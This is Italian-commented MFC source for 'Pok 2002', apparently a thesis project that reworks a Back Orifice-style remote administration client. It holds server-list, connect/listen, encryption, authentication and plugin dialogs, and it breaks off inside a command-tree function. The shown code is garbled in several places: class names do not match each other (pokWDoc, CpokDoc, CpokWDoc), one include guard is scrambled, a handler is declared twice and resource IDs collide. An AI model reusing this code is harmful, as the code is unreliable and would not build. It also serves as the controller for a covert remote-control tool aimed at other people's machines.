virtual void OnOK();


virtual void OnCancel();

protected:


void GetWndClientRect (CWnd *pWnd, CRect& rect);

// Implementazione dei metodi

protected:


BOOL


m_bGenerated;


CImageList

m_TreeImageList;


CBOCmdDescList
m_CmdDescList;


SERVER_INFO

*m_pServerInfo;


CAuthSocket

*m_pAuthSocket;


CWinThread

*m_cwtListenThread;


CRITICAL_SECTION m_NetCritSec;


// mappa dei messaggi generati dalle funzioni


virtual BOOL OnInitDialog();


afx_msg void OnConnectcheck();


afx_msg void OnSelchangedServercommands(NMHDR* pNMHDR, LRESULT* pResult);


afx_msg void OnSendcommand();


afx_msg void OnClearResponses();


afx_msg void OnSize(UINT nType, int cx, int cy);


afx_msg void OnSettings();


afx_msg void OnDestroy();


DECLARE_MESSAGE_MAP()

};

inline void CBOServerDlg::GetWndClientRect (CWnd *pWnd, CRect& rect)

{


pWnd->GetWindowRect (rect);


ScreenToClient (rect);

}

inline int AlignRight (CRect &wndRect, CRect rect, int nDist = 0)

{


int nWidth = wndRect.Width ();


wndRect.right = rect.right - nDist;


wndRect.left = wndRect.right - nWidth;


return (wndRect.left - rect.right);

}

inline int AlignLeft (CRect &wndRect, CRect rect, int nDist = 0)

{


int nWidth = wndRect.Width ();


wndRect.left = rect.left + nDist;


wndRect.right = wndRect.left + nWidth;


return (wndRect.right - rect.left);

}

inline int AlignTop (CRect &wndRect, CRect rect, int nDist = 0)

{


int nHeight = wndRect.Height ();


wndRect.top = rect.top + nDist;


wndRect.bottom = wndRect.top + nHeight;


return (wndRect.bottom - rect.top);

}

inline int AlignBottom (CRect &wndRect, CRect rect, int nDist = 0)

{


int nHeight = wndRect.Height ();


wndRect.bottom = rect.bottom - nDist;


wndRect.top = wndRect.bottom - nHeight;


return (wndRect.top - rect.bottom);

}

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// pokDoc.h : interface of the pokWDoc class

#if !defined(AFX_pokDOC_H__720D769F_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_pokDOC_H__720D769F_A7E5_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class pokServerDlg;

class pokDialogBar;

#pragma pack(push,1)

typedef struct __serverinfo {


char svName[64];


char svConnectionType[64];


char svAddress[512];


char svEncryption[64];


char svAuthentication[64];


// Temporanee


BOOL bOpened;


CBOServerDlg *pServerDlg;


struct __serverinfo *next;

} SERVER_INFO;

#pragma pack(pop)

class pokWDoc : public CDocument

{

protected: 


pokWDoc();


DECLARE_DYNCREATE(CpokDoc)

// Attributi

public:


SERVER_INFO *m_pHeadSI;

// Operazioni

public:

// sovrafunzioni


public:


virtual BOOL OnSaveDocument(LPCTSTR lpszPathName);


virtual BOOL OnOpenDocument(LPCTSTR lpszPathName);


virtual void DeleteContents();

// Implementazione

public:


virtual ~CpokDoc();


void *InsertServer(const char *svName,


                   const char *svConnectionType,






   const char *svAddress,






   const char *svEncryption,






   const char *svAuthentication);


void EditServer(SERVER_INFO *si,



            const char *svName,


                const char *svConnectionType,






const char *svAddress,






const char *svEncryption,





    const char *svAuthentication);


void DeleteServer(void *psi);

#ifdef _DEBUG


virtual void AssertValid() const;


virtual void Dump(CDumpContext& dc) const;

#endif

protected:

// mappa dei segnali generati dalle funzioni

protected:


DECLARE_MESSAGE_MAP()

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// pokview.h : interfaccia della classe CpokWView 

#if !defined(AFX_pokVIEW_H__720D76A1_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_pokVIEW_H__720D76A1_A7E5_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class CpokView : public CView

{

protected: 


CpokView();


DECLARE_DYNCREATE(CpokView)

// Attributi

public:


CpokDoc* GetDocument();

// Operazioni

public:


public:


virtual void OnDraw(CDC* pDC); 


protected:


virtual BOOL PreCreateWindow(CREATESTRUCT& cs);

// Implementazione

public:


virtual ~CpokView();

#ifdef _DEBUG


virtual void AssertValid() const;


virtual void Dump(CDumpContext& dc) const;

#endif

protected:

// mappa dei messaggi generati dalle funzioni

protected:


afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);


afx_msg BOOL OnEraseBkgnd(CDC* pDC);


DECLARE_MESSAGE_MAP()

};

#ifndef _DEBUG  

    inline CpokWDoc* CpokView::GetDocument()

   { return (CpokDoc*)m_pDocument; }

#endif

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// ComCtlMsg.h : header file

#if !defined(AFX_OMCTLMSG_H__7F4D4E22_061C_11D3_ADC5_0000F8084273__INCLUDED_)

#define AFX_OMCTLMSG_H__7F4D4E22_061C_11D3_ADC5_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class ComCtlMsg : public CDialog

{

// Construttore 

public:


ComCtlMsg(CWnd* pParent = NULL);   // standard constructor


enum { IDD = IDD_COMCTLDLG };


protected:


virtual void DoDataExchange(CDataExchange* pDX);    // support per protocolli DDX/DDV

// Implementazione

protected:


virtual BOOL OnInitDialog();


DECLARE_MESSAGE_MAP()

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

#ifndef __INC_GETCOMCTLVERSION_H

#define __INC_GETCOMCTLVERSION_H

#include<windows.h>

int GetComCtlVersion(LPDWORD pdwMajor, LPDWORD pdwMinor);

#endif

/*  Pok 2002 (il ragno che insidia la rete) */

// InteractiveConnect.h : header file

#if !defined(AFX_INTERACTIVECONNECT_H__082B7EE3_EE23_11D2_ADC5_0000F8084273__INCLUDED_)

#define AFX_INTERACTIVECONNECT_H__082B7EE3_EE23_11D2_ADC5_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class CInteractiveConnect : public CDialog

{

// Costruttore

public:


CInteractiveConnect(CWnd* pParent = NULL);   // standard constructor

// Dati di dialogo


enum { IDD = IDD_INTERACTIVE_CONNECT };


int

m_nEncryption;


int

m_nConnType;


int

m_nAuthHandler;


CString
m_strSvrAddr;


CString m_strSelectedIO;


CString m_strSelectedEnc;


CString m_strSelectedAuth;


protected:


virtual void DoDataExchange(CDataExchange* pDX);    // supporto per DDX/DDV


virtual void OnOK();


virtual BOOL OnInitDialog();

// Implementazione

protected:


DECLARE_MESSAGE_MAP()

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// InteractiveListen.h : header file

#if !defined(AFX_INTERACTIVELISTEN_H__082B7EE4_EE23_11D2_ADC5_0000F8084273__INCLUDED_)

#define AFX_INTERACTIVELISTEN_H__082B7EE4_EE23_11D2_ADC5_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class CInteractiveListen : public CDialog

{

// Costruttore

public:


CInteractiveListen(CWnd* pParent = NULL);   // standard constructor

// Dati di dialogo


enum { IDD = IDD_INTERACTIVE_LISTEN };


int

m_nAuthHandler;


int

m_nConnType;


int

m_nEncryption;


CString
m_strSvrAddr;


CString m_strSelectedIO;


CString m_strSelectedEnc;


CString m_strSelectedAuth;

protected:


virtual void DoDataExchange(CDataExchange* pDX);    //supporto per  DDX/DDV


virtual void OnOK();


virtual BOOL OnInitDialog();

// Implementazione

protected:


DECLARE_MESSAGE_MAP()

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// MainFrm.h : interfaccia della classe CMainFrame

#if !defined(AFX_MAINFRM_H__720D769D_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_MAINFRM_H__720D769D_A7E5_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#include"ServerList.h"

#include"linkage.h"

#include"plugins.h"

typedef struct {


TYPEOF_ClientMenu *pProc;


int nId;

} PLUGINMENUITEM;

#include <plugins.h>

typedef struct {


BYTE *pPluginImage;


DWORD dwPluginLen;


char svFilename[MAX_PATH+1];


char svDescription[256];


WORD wVersionLo;


WORD wVersionHi;


WORD wpokVersionLo;


WORD wpokVersionHi;


DWORD dwFlags;

} PLUGIN_INFO;

typedef struct {


int nPlugin;


DWORD dwPos;


char VarType; // B, N, S


int nNumLo;


int nNumHi;


int nStrLen;


char svVarValue[256];


char svVarName[256];


char svCategory[256];

} VARIABLE_INFO;

class CMainFrame : public CFrameWnd

{

protected:


CMainFrame();


DECLARE_DYNCREATE(CMainFrame)


CArray<PLUGINMENUITEM, PLUGINMENUITEM> m_arrPluginMenuItems;

// Attributi
public:


CServerList *m_pWndServerList;


CArray<PLUGIN_INFO, PLUGIN_INFO> m_arrPluginInfo;


CArray<VARIABLE_INFO, VARIABLE_INFO> m_arrVarInfo;

// Operazioni

public:


int RegisterClientMenu(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc);


int UnregisterClientMenu(LPCSTR szCategory, LPCSTR szComName);


int InitializePlugins();


int TerminatePlugins();


int FillLinkage(PLUGIN_LINKAGE *ppl);


int AddPlugin(CString strPath);


int RemovePlugin(int nPlugin);


void AddVariables(char *pBuffer, DWORD dwLen, int nPlugin);


int SavePluginConfig(int nNum);


int LoadPluginConfig(int nNum);


int DoDialogModal(CDialog *dlg);


protected:


virtual BOOL OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext);


virtual BOOL PreCreateWindow(CREATESTRUCT& cs);

// Implementazione

public:


virtual ~CMainFrame();

#ifdef _DEBUG


void AssertValid() const;


virtual void Dump(CDumpContext& dc) const;

#endif

protected:  


CStatusBar  m_wndStatusBar;

// mappa dei dialoghi generati dalli funzioni
protected:


afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);


afx_msg void OnPlugins();


afx_msg void OnServerNew();


afx_msg void OnUpdateServerNew(CCmdUI* pCmdUI);


afx_msg void OnServerEdit();


afx_msg void OnUpdateServerEdit(CCmdUI* pCmdUI);


afx_msg void OnServerDelete();


afx_msg void OnUpdateServerDelete(CCmdUI* pCmdUI);


afx_msg LRESULT OnDialogDoModal (WPARAM, LPARAM);


afx_msg void OnDestroy();


afx_msg void OnSize(UINT nType, int cx, int cy);


afx_msg void OnPluginMenu(UINT nID);


DECLARE_MESSAGE_MAP()

};

extern CIOHandler *g_pIOHandler;

extern CEncryptionHandler *g_pEncryptionHandler;

extern CAuthHandler *g_pAuthHandler;

extern int RegisterClientMenu(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc);

extern int UnregisterClientMenu(LPCSTR szCategory, LPCSTR szComName);

extern int InteractiveConnect(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);

extern int InteractiveListen(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// NewMachineDlg.h : file di intestazione

#if !defined(AFX_NEWMACHINEDLG_H__99F98F62_A7C9_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_NEWMACHINEDLG_H__99F98F62_A7C9_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class CNewMachineDlg : public CDialog

{

// Construttore

public:


CNewMachineDlg(CWnd* pParent = NULL);   // costruttore standard


enum { IDD = IDD_NEWMACHINEDLG };


CString
m_strSvrAddr;


int

m_nEncryption;


int

m_nConnType;


CString
m_strMachineName;


int

m_nAuthHandler;


CString m_strSelectedIO;


CString m_strSelectedEnc;


CString m_strSelectedAuth;


protected:


virtual void DoDataExchange(CDataExchange* pDX);    // supporto per protocolli DDX/DDV


virtual void OnOK();


virtual BOOL OnInitDialog();

// Implementazione

protected:


DECLARE_MESSAGE_MAP()

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// pluginconfig.h : file di intestazione per la sezione di configurazione dei plug in

#define AFX_PLUGINCONF#if

!defined(AFX_PLUGINCONFIG_H__3C09D785_EB98_11D2_ADC5_0000F8084273__INCLUDED_)

IG_H__3C09D785_EB98_11D2_ADC5_0000F8084273__INCLUDE

#if _MSC_VER > 1000

#pragma once

#endif 

class CPluginConfig : public CDialog

{

// Construttore

public:


CPluginConfig(CWnd* pParent = NULL);   // standard constructor


void EnableControls(BOOL bEnable);


BOOL IsValidPlugin(LPCSTR svPath);


void UpdateVariableList();

// Dati per le finestre di dialogo



enum { IDD = IDD_PLUGINS };


protected:


virtual void DoDataExchange(CDataExchange* pDX);    // supporto per I protocolli DDX/DDV

// Implementazione

protected:


CImageList m_ImgList;


virtual BOOL OnInitDialog();


afx_msg void OnInsert();


afx_msg void OnRemove();


afx_msg void OnSelchangedOptionvariables(NMHDR* pNMHDR, LRESULT* pResult);


afx_msg void OnBoolDisabled();


afx_msg void OnBoolEnabled();

afx_msg void OnSetvalue();


afx_msg void OnSetvalue();


DECLARE_MESSAGE_MAP()

};

#endif // !

/*  Pok 2002 (il ragno che insidia la rete) */

// QueryDlg.h : header file

#if !defined(AFX_QUERYDLG_H__66EBB3C4_B0C3_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_QUERYDLG_H__66EBB3C4_B0C3_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

class QueryDlg : public CDialog

{

// Construttore

public:


QueryDlg(CWnd* pParent = NULL);   // costruttore standard 


enum { IDD = IDD_QUERYDLG };


BOOL m_bCanceled;


protected:


virtual void DoDataExchange(CDataExchange* pDX);    //supporto per protocolli  DDX/DDV 


// Implementazione

protected:


virtual void OnOK();


virtual void OnCancel();


DECLARE_MESSAGE_MAP()

};

#endif 

//Pok 2002 (il ragno che insidia la rete)

//{{NO_DEPENDENCIES}}

// Microsoft Developer Studio generated include file.

// Used by C:\Documenti\Lugano2002\Sorgenti migliori\pokgui\pokgui.rc

//

#define IDC_INSERT                     
 3

#define IDC_REMOVE                      
4

#define IDD_ABOUTBOX                  
100

#define IDC_TASKBAR                     
112

#define IDR_MAINFRAME                   
128

#define IDR_pokWKSPTYPE                  
129

#define IDD_SERVERLIST                  
131

#define IDI_pokCOMPUTER                  
132

#define IDD_NEWMACHINEDLG               133

#define IDB_LITTLE_BOCOMPS              

133

#define IDB_NORMAL_BOCOMPS              
134

#define IDI_NEWMACHINE                 

135

#define IDD_pokSERVERDLG                 

135

#define IDI_DELETEMACHINE              

136

#define IDR_SERVERMENU                  

145

#define IDR_SERVERLISTMENU              
146

#define IDB_CMDTREE_IMAGELIST           
153

#define IDB_CDCBANNER1                  

155

#define IDI_EDITMACHINE                
 
156

#define IDD_QUERYDLG                    

157

#define IDB_pok                        


158

#define IDD_PLUGINS                    

160

#define IDB_IMGLIST                     

162

#define IDI_SVRLIST                     

163

#define IDB_VECTORBALL                  

165

#define IDB_VECTORMASK                 

166

#define IDI_VECTORBALL                  

167

#define IDD_INTERACTIVE_CONNECT         
170

#define IDD_INTERACTIVE_LISTEN          
171

#define IDI_CONNECTICON                 

172

#define IDD_COMCTLDLG                   

175

#define IDD_SPLASH                      

181

#define IDB_SPLASH                      

182

#define IDI_CONNECTMACHINE              
184

#define IDI_MACHINE                     

185

#define IDC_STR_CURRENTVALUE            
1006

#define IDC_STR_NEWVALUE                

1007

#define IDC_SETVALUE                    

1008

#define IDC_STATIC1                     

1011

#define IDC_STATIC2                     

1012

#define IDC_STATIC_CURVAL               

1013

#define IDC_STATIC_NEWVAL               

1014

#define IDC_PLUGINS                     

1015

#define IDC_OPTIONVARIABLES             
1019

#define IDC_BOOL_DISABLED               

1022

#define IDC_BOOL_ENABLED                

1023

#define IDC_BOOL_GROUP                  

1024

#define IDC_SERVER_ADDRESS              
2001

#define IDC_CONNECTION_TYPE             
2002

#define IDC_ENCRYPTION_ENGINE           
2003

#define IDC_AUTH_HANDLER                

2004

#define IDC_MACHINENAME                 

2005

#define IDC_OPT3                        


2019

#define IDC_OPT2                        


2021

#define IDC_STATIC_OPT3                 

2022

#define IDC_STATIC_OPT2                 

2023

#define IDC_OPT1                        


2024

#define IDC_STATIC_OPT1                 

2025

#define IDC_SERVERRESPONSE              
2026

#define IDC_SENDCOMMAND                 

2028

#define IDC_TREE2                       

2034

#define IDC_SERVERCOMMANDS              
2034

#define IDC_PLUGINLIST                 
 
2038

#define IDC_MACHINEINFO                 

2041

#define IDC_QUERYONCONNECT              
2043

#define IDC_CONNECTCHECK                

2046

#define IDC_CLEARRESPONSES              
2047

#define IDC_CDC_URL                     

2048

#define IDC_STATIC_SUPPORTEDPLUGINS     
2050

#define IDC_STATIC_SERVERRESPONSE       
2051

#define IDC_STATIC_SERVERCOMMANDS       
2052

#define IDC_SETTINGS                    
2058

#define IDC_COMPILETIME                 
2059

#define IDC_IEUPDATE                    
2060

#define IDC_SPLASH                      
2063

#define IDS_HIDE                        

5000

#define IDS_EXPAND                      
5001

#define IDS_CONTRACT                    
5002

#define IDB_BUTTON_IMAGES               5003

#define IDC_TABCTRLBAR                  
5003

#define IDB_BTN_EXPLORER                
5006

#define IDB_BTN_ARROW                   
5012

#define IDC_HSPLITBAR                   
30980

#define IDC_VSPLITBAR                   
30981

#define ID_NEWMACHINE                   
32771

#define ID_DELETEMACHINE                
32772

#define ID_DETAILS                      
32773

#define ID_SERVERLIST                   
32774

#define ID_EDITMACHINE                  
32775

#define ID_CONNECTMACHINE              32776

#define IDM_SERVERLIST                  
32777

#define IDP_PINGSERVER                  
32778

#define ID_REQUERYSERVER                
32779

#define IDP_REQUERYSERVER               32780

#define ID_PINGSERVER                   
32781

#define IDP_DELETESERVER                
32782

#define ID_ACTIVATESERVER               
32783

#define ID_INSERTMACHINE                
32785

#define IDP_ADDMACHINE                  
32786

#define IDP_ADDSERVER                   
32787

#define IDM_PLUGINS                     
32788

#define ID_SERVER_NEW                   
32800

#define ID_SERVER_EDIT                  
32801

#define ID_SERVER_DELETE                
32802

#define ID_FILE_NEWSERVER               
32823

#define IDM_PLUGIN_0                    
40000

#define IDM_PLUGIN_4095                 
40495

// valori canonici per le variabili aggiuntive

// 

#ifdef APSTUDIO_INVOKED

#ifndef APSTUDIO_READONLY_SYMBOLS

#define _APS_3D_CONTROLS                     
1

#define _APS_NEXT_RESOURCE_VALUE        
185

#define _APS_NEXT_COMMAND_VALUE         
32833

#define _APS_NEXT_CONTROL_VALUE         
2064

#define _APS_NEXT_SYMED_VALUE           
114

#endif

#endif

/*  Pok 2002 (il ragno che insidia la rete) */

// ServerList.h : header file

#if !defined(AFX_SERVERLIST_H__720D76C8_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_SERVERLIST_H__720D76C8_A7E5_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif 

class CpokWDoc;

struct __serverinfo;

typedef struct __serverinfo SERVER_INFO;

class CServerList: public CDialog

{

// Construttore

public:


CServerList(CWnd* pParent = NULL); 


virtual ~CServerList();


void CleanUpAndClose(void);


void DeleteItem(int idx);


void DeleteAllItems(void);


void SynchToDocument(CpokWDoc *cbd);


void UpdateListStatus(void);


void HandleNetworkPolls(void);


bool ConnectToServer (SERVER_INFO *si);


enum { IDD = IDD_SERVERLIST };


protected:


virtual void DoDataExchange(CDataExchange* pDX);    // supporto per protocolli DDX/DDV


virtual void OnCancel();


virtual void OnOK();

// Implementazione del corpo della classe

protected:


CImageList  m_NormalImageList;


CImageList  m_SmallImageList;


int m_nUpdateTimer;

public:


afx_msg void OnDetails();


afx_msg void OnNewmachine();


afx_msg void OnDeletemachine();


afx_msg void OnEditmachine();


afx_msg void OnSize(UINT nType, int cx, int cy);


virtual BOOL OnInitDialog();


afx_msg void OnItemchangedServerlist(NMHDR* pNMHDR, LRESULT* pResult);


afx_msg void OnKeydownServerlist(NMHDR* pNMHDR, LRESULT* pResult);


afx_msg void OnDblclkServerlist(NMHDR* pNMHDR, LRESULT* pResult);


afx_msg void OnTimer(UINT nIDEvent);


afx_msg void OnConnectMachine();


DECLARE_MESSAGE_MAP()

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// splash.h : header file che gestisce la schermata di presentazione

#if !defined(AFX_SPLASH_H__D704BB42_265A_11D3_ADC6_0000F8084273__INCLUDED_)

#define AFX_SPLASH_H__D704BB42_265A_11D3_ADC6_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif 

class CSplash : public CDialog

{

// Construttore

public:


CSplash(CWnd* pParent = NULL);  


enum { IDD = IDD_SPLASH };


protected:


virtual void DoDataExchange(CDataExchange* pDX);    //supporto per protocolli  DDX/DDV


// Implementazione del corpo della classe

protected:


virtual BOOL OnInitDialog();


afx_msg void OnTimer(UINT nIDEvent);


afx_msg void OnLButtonDown(UINT nFlags, CPoint point);


afx_msg void OnRButtonDown(UINT nFlags, CPoint point);


DECLARE_MESSAGE_MAP()

};
#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// stdafx.h : questa classe consente di includere moduli che vengono usati frequentemente o infrequentemente 

//  come ad esempio I plug in.

//  consente di agire sui moduli che subiscono rare variazioni.
#if !defined(AFX_STDAFX_H__720D769B_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_STDAFX_H__720D769B_A7E5_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif 

#define VC_EXTRALEAN  // Esclude le potenzialità utilizzate di rado dall’intezazione della finestra

#include <afxwin.h>         // MFC nucleo e componenti standard

#include <afxext.h>         // MFC estensioni

#ifndef _AFX_NO_AFXCMN_SUPPORT

#include <afxcmn.h>


// MFC supporto per  Windows e controlli comuni

#endif // _AFX_NO_AFXCMN_SUPPORT

#include<afxsock.h>

#include <afxtempl.h>

// Messaggi per gli utenti

#define WM_CDBWINDOWMOVED (WM_APP+0)

#endif 

Sezione di esposizione codici sorgenti *.CPP. (Pok_config.exe)

Sorgenti delle principali funzioni.

/*  Pok 2002 (il ragno che insidia la rete) */

// pokgui.cpp : Definisce la Classe dizionario per le applicazioni.

#include "stdafx.h"

#include "pokgui.h"

#include "MainFrm.h"

#include "pokDoc.h"

#include "pokview.h"

#include "getcomctlversion.h"

#include "comctlmsg.h"

#include "osversion.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

#pragma comment(linker,"/section:.data,rw")

#pragma comment(linker,"/section:.rdata,rw")

BEGIN_MESSAGE_MAP(CpokGuiApp, CWinApp)


ON_COMMAND(ID_APP_ABOUT, OnAppAbout)


ON_COMMAND(ID_FILE_NEW, OnFileNew)


ON_COMMAND(ID_FILE_OPEN, CWinApp::OnFileOpen)


END_MESSAGE_MAP()

CpokGuiApp::CpokGuiApp()

{

}

CpokGuiApp theApp;

BOOL CpokGuiApp::InitInstance()

{


AfxSocketInit();


// Controlla la versione dei comandi comuni disponibili


DWORD dwHiVer,dwLoVer;


int ret;


ret=GetComCtlVersion(&dwHiVer, &dwLoVer);


if((ret==-1) || (dwHiVer<4) || (dwHiVer==4 && dwLoVer<70))  {



ComCtlMsg ccm;



if(ccm.DoModal()==IDCANCEL)




return FALSE;


}


//Cambia la chiave di registro sotto cui I nostri settaggi sono memorizzati

SetRegistryKey(_T("Tesi di specializzazione Lugano2002"));  //usato anche per memorizzare I settaggi dei //plug in


LoadStdProfileSettings();  // Carica I  files (MRUs) usati piu di recente


GetOSVersion();


//Registrazione delle informazioni riguardanti la connessione, la finestra usata,


//il server a cui ci si è connessi, e tutta l’area di lavoro.


CSingleDocTemplate* pDocTemplate;


pDocTemplate = new CSingleDocTemplate(



IDR_MAINFRAME,



RUNTIME_CLASS(CpokDoc),
//memorizzazione della lista dei server in formato (.bow)



RUNTIME_CLASS(CMainFrame), // principale SDI (single document interface) frame window



RUNTIME_CLASS(CpokView)); //  


AddDocTemplate(pDocTemplate);


// Abilita DDE Esecuzione aperta


EnableShellOpen();


RegisterShellFileTypes(TRUE);


CCommandLineInfo cmdInfo;//analizzatore sintattico per il riconoscimento dei comandi


ParseCommandLine(cmdInfo);


//Implementazione della riga di testo di comando


if (!ProcessShellCommand(cmdInfo))



return FALSE;


//Mostra la finestra attiva aggiornandola con un refresch


m_pMainWnd->UpdateWindow();


// se si toglie dal commento la prossima riga Abilita le funzioni drag/drop


//m_pMainWnd->DragAcceptFiles();  


return TRUE;

}

int CpokGuiApp::ExitInstance() 

{



return CWinApp::ExitInstance();

}

void CpokGuiApp::NewDocumentFile()

{



CMainFrame *cmf;


cmf=(CMainFrame *)GetMainWnd();


if(cmf) {



CServerList *pSL=cmf->m_pWndServerList;



pSL->DeleteAllItems();


}

}

CDocument* CpokGuiApp::OpenDocumentFile(LPCTSTR lpszFileName) 

{


CDocument *ret;


ret=CWinApp::OpenDocumentFile(lpszFileName);


if(ret!=NULL) {



CServerList *pSL=((CMainFrame *)GetMainWnd())->m_pWndServerList;



CpokWDoc *cbd=(CpokDoc *) ((CMainFrame *)GetMainWnd())->GetActiveDocument();



pSL->SynchToDocument(cbd);


}


return ret;

}

class CAboutDlg : public CDialog

{

public:


CAboutDlg();


enum { IDD = IDD_ABOUTBOX };


protected:


virtual void DoDataExchange(CDataExchange* pDX);    // supporto per I protocolli DDX/DDV 

// Implementazione

protected:


virtual BOOL OnInitDialog();


DECLARE_MESSAGE_MAP()

};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)

{

               //funzioni momentaneamente disabilitate


//{{AFX_DATA_INIT(CAboutDlg)


//}}AFX_DATA_INIT

}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);


//{{AFX_DATA_MAP(CAboutDlg)


//}}AFX_DATA_MAP

}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)


//{{AFX_MSG_MAP(CAboutDlg)


//}}AFX_MSG_MAP

END_MESSAGE_MAP()

// comandi che lanciano il dialogo

void CpokGuiApp::OnAppAbout()

{


CAboutDlg aboutDlg;


aboutDlg.DoModal();

}

BOOL CAboutDlg::OnInitDialog() 

{


CDialog::OnInitDialog();


SetDlgItemText(IDC_COMPILETIME,"Compilato il  "__TIMESTAMP__);



return TRUE;  //  Ritorna TRUE se non si è settato un controllo

}

/*  Pok 2002 (il ragno che insidia la rete) */

// pokCmdDescList.cpp: implementazione della classe CpokCmdDescList .

#include "stdafx.h"

#include "pokgui.h"

#include "pokCmdDescList.h"

#ifdef _DEBUG

#undef THIS_FILE

static char THIS_FILE[]=__FILE__;

#define new DEBUG_NEW

#endif

// Costruttore/Distruttore

CpokCmdDescList::CpokCmdDescList()

{


int i;


for(i=0;i<MAX_pok_COMMANDS;i++) {



m_descList[i].svCommName[0]='\0';



m_descList[i].svFolderName[0]='\0';


}

}

CpokCmdDescList::~CpokCmdDescList()

{

}

void CpokCmdDescList::SetDesc(int nCommand)

{


if(nCommand>=MAX_pok_COMMANDS) return;


m_descList[nCommand].svCommName[0]='\0';


m_descList[nCommand].svFolderName[0]='\0';

}

void CpokCmdDescList::SetDesc(int nCommand, char *szFolderName, char *szCommName, char *szArgDesc1, char *szArgDesc2, char *szArgDesc3, BOOL bNative)

{


if(nCommand>=MAX_pok_COMMANDS) return;


m_descList[nCommand].bNative=bNative;


if(szFolderName==NULL) m_descList[nCommand].svFolderName[0]='\0';


else lstrcpyn(m_descList[nCommand].svFolderName,szFolderName,32);


if(szCommName==NULL) m_descList[nCommand].svCommName[0]='\0';


else lstrcpyn(m_descList[nCommand].svCommName,szCommName,32);


if(szArgDesc1==NULL) m_descList[nCommand].svArgDesc1[0]='\0';


else lstrcpyn(m_descList[nCommand].svArgDesc1,szArgDesc1,32);


if(szArgDesc2==NULL) m_descList[nCommand].svArgDesc2[0]='\0';


else lstrcpyn(m_descList[nCommand].svArgDesc2,szArgDesc2,32);


if(szArgDesc3==NULL) m_descList[nCommand].svArgDesc3[0]='\0';


else lstrcpyn(m_descList[nCommand].svArgDesc3,szArgDesc3,32);

}

int CpokCmdDescList::GetCommand(char *szFolderName, char *szCommName)

{


int i;


for(i=0;i<MAX_pok_COMMANDS;i++) {



if((lstrcmp(m_descList[i].svCommName,szCommName)==0) &&

           (lstrcmp(m_descList[i].svFolderName,szFolderName)==0)) {




return i;



}


}


return -1;

}

char *CpokCmdDescList::GetFolderName(int nCommand)

{


char *ptr;


if(nCommand>=MAX_pok_COMMANDS) return NULL;


ptr=m_descList[nCommand].svFolderName;


if(ptr[0]=='\0') return NULL;


return ptr;

}

char *CpokCmdDescList::GetCommName(int nCommand)

{


char *ptr;


if(nCommand>=MAX_pok_COMMANDS) return NULL;


ptr=m_descList[nCommand].svCommName;


if(ptr[0]=='\0') return NULL;


return ptr;

}

char *CpokCmdDescList::GetArgDesc1(int nCommand)

{


char *ptr;


if(nCommand>=MAX_pok_COMMANDS) return NULL;


ptr=m_descList[nCommand].svArgDesc1;


if(ptr[0]=='\0') return NULL;


return ptr;

}

char *CpokCmdDescList::GetArgDesc2(int nCommand)

{


char *ptr;


if(nCommand>=MAX_pok_COMMANDS) return NULL;


ptr=m_descList[nCommand].svArgDesc2;


if(ptr[0]=='\0') return NULL;


return ptr;

}

char *CpokCmdDescList::GetArgDesc3(int nCommand)

{


char *ptr;


if(nCommand>=MAX_pok_COMMANDS) return NULL;


ptr=m_descList[nCommand].svArgDesc3;


if(ptr[0]=='\0') return NULL;


return ptr;

}

void CpokCmdDescList::FillTreeCtrl(CTreeCtrl *pTree)

{


// Inizzializza l’albero di controllo


pTree->DeleteAllItems();


// Inserisce tutti I comandi nell’albero


int i;


for(i=0;i<MAX_pok_COMMANDS;i++) {



